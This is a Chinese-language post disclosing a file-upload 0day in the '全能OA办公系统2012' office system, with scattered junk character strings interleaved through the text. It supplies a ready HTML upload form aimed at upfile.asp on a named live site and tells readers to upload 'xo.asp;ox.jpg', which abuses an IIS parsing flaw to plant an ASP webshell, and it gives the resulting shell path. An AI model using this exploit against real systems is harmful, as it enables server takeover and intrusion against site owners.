全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

; i9 h" s" T& N2 l, R+ C全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
' t$ {3 X0 L( ~& ?3 S4 d+ w3 S# Y: {公司通告
工作计划
通讯助理
4 G/ Q# f" j% J客户资源
我的公文
4 r$ j4 {( H! v; V* Q公文传阅
4 r' f, z7 ~* l) j8 p/ E) w/ M公共资源
4 q; L5 G! r' W$ a% L* d9 ]& _3 ^资源预约
4 g3 J6 t$ g$ i8 S今日考勤
7 P& z4 |2 `& a个人计划
个人通讯录
9 ?0 Y2 \) B' e, K2 k7 o. i: G个人基本档案
未读邮件
( b% h% K4 u2 J2 O0 C, L  ?4 B发邮件
收件夹
! t7 v- t% `" k$ b" A7 d+ O3 C寄件夹
' T+ a+ r6 o3 S7 d& g2 Z网络硬盘
8 A$ {: h& Z) _: u网络会议
- ^) }/ i9 g( W& L' \0 H) w2 s- f网络调查
交流论坛
5 S! Z' g; R* b9 v; t& C
有兴趣测试的朋友可以下源码看看
; w% f' W6 q% o- t" g, `: X
源码下载：
1 o% O8 R$ T' d: X0 r
% ~- h+ u5 q; r4 shttp://www.mycodes.net/30/4750.htm

  ~$ e# \' c3 T% {3 i漏洞介绍：
# d. a1 u$ |8 J! k1 C
% B2 u$ v6 @+ |# a3 [/ u. K由upfile.asp上传文件漏洞引起
/ h1 d7 H$ }' b- `2 b3 q
测试方法：

( o1 u) \9 O+ C' p使用名小子上传http://www.itlynn.com/upfile.asp即可

0 I' d+ F8 y  u6 d; n4 G7 ^1 E如果upfile.asp文件被删除不存在。
& H& [' k+ g# }
& G% u" B, @# y" A0 S: V  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

. U( f" ^6 l- f, X& ^然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
$ B5 w$ x  e$ a  V
& ?# K" F5 `7 P9 ~* e9 ?# g
- W+ |# R- s$ R" z1 M9 _" Q+ l6 ?% ]
01 <table border='0' align="center" cellpadding="5">
* O$ U: x' o# P# T
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

5 i+ u0 l2 S8 c3 |- O9 e03 <tr>
9 l1 n8 W5 K% [; \: o+ t1 y7 Z6 p5 W
: N2 m; y6 t' O- Q0 w* {, t) O1 v1 t04             <td>报错：</td>
& p4 l! _( j% U) r6 w
! p0 ]& r( K  T  q3 t  T! ?05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>

& Q( w& {8 K. t  J$ N08               报错方式

$ J: ~4 R1 p, ]1 f' `; {09               <input type='radio' name='errnumber' value='2'>

8 H* c% T7 j4 \10               直接覆盖</td>

11           </tr>

  r, Z% g2 ~1 Z# z5 B12           <tr>
3 X. b1 F4 u% u
* z# L8 X0 S: y1 w13             <td>主题：</td>
) G" j& H6 v! k4 O
14             <td><input type='text' name='filename' size='30'></td>

6 v' L; j6 A$ {15           </tr>
8 L0 W9 ^# J" L, O
16           <tr>
8 e4 T3 E3 G! \" H( l
17             <td>文件：</td>

7 D. Z' A3 V% A' L18             <td><input type="file"name="fruit"size="30"></td>
! P; C# o0 x3 g3 T/ v# O% k
2 t$ v, s: c' Q19           </tr>
- s9 d* ~4 b, f% [$ @7 B
20           <tr>

21             <td valign='top'>简介：</td>
+ m. k' b0 f- i& {& }+ D
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

4 a$ j6 U( w" T: a# }  h23           </tr>
( K/ S. s) K& D; _1 t! x0 }
24   
8 e3 g8 r( `5 N! D  E' e! B$ A- l
) x7 L7 J- F- V- s4 h25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
2 O- p) ?7 X5 n
6 }1 u# c# P7 G5 P26           </tr>

27         </form>
  ^" ~( j) O- q9 c+ j- R+ C
1 w' ^" A* D  N, e" h然后打开上传一个文件名为xo.asp;ox.jpg的文件。
% U/ R7 s7 L4 Z7 s  u
  P3 X. g& y3 W" h

* n; I8 X7 Q# Z$ u2 e7 f上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。